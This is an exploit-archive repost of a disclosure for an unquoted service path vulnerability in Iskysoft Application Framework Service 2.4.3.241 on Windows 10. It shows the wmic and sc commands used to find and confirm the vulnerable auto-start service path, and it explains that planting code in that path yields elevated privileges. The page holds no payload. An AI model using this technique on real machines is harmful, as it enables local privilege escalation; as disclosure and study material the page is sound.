Iskysoft application framework service 2.4.3.241 isappservice unquoted service path Vulnerability / Exploit

  /     /     /  

Exploits / Vulnerability Discovered : 2020-03-06 | Type : local | Platform : windows
This exploit / vulnerability Iskysoft application framework service 2.4.3.241 isappservice unquoted service path is for educational purposes only and if it is used you will do on your own risk!

---

[+] Code ...

# Exploit Title: Iskysoft Application Framework Service 2.4.3.241 - 'IsAppService' Unquoted Service Path
# Discovery by: Alejandro Reyes
# Discovery Date: 2020-03-05
# Vendor Homepage: https://www.iskysoft.us
# Software Link : https://www.iskysoft.us/lp/filmora-video-editor/?gclid=EAIaIQobChMIo-WL-Z6h5wIVwR0YCh3O7QYsEAAYAiAAEgJ_m_D_BwE
# Tested Version: 2.4.3.241
# Vulnerability Type: Unquoted Service Path
# Tested on OS: Windows 10 Home x64

# Step to discover Unquoted Service Path:



C:\>wmic service get name, displayname, pathname, startmode | findstr /i "Auto" | findstr /i /v "C:\Windows\\" | findstr "Iskysoft" | findstr /i /v """

Iskysoft Application Framework Service IsAppService C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe Auto

# Service info:

C:\WINDOWS\system32>sc qc "IsAppService"

[SC] QueryServiceConfig SUCCESS

SERVICE_NAME: IsAppService
TYPE : 10 WIN32_OWN_PROCESS
START_TYPE : 2 AUTO_START
ERROR_CONTROL : 0 IGNORE
BINARY_PATH_NAME : C:\Program Files (x86)\Iskysoft\IAF\2.4.3.241\IsAppService.exe
LOAD_ORDER_GROUP :
TAG : 0
DISPLAY_NAME : Iskysoft Application Framework Service
DEPENDENCIES : RPCSS


# Exploit:

# A successful attempt would require the local user to be able to insert their code in the
# system root path undetected by the OS or other security applications where it could
# potentially be executed during application startup or reboot. If successful, the local
# user's code would execute with the elevated privileges of the application.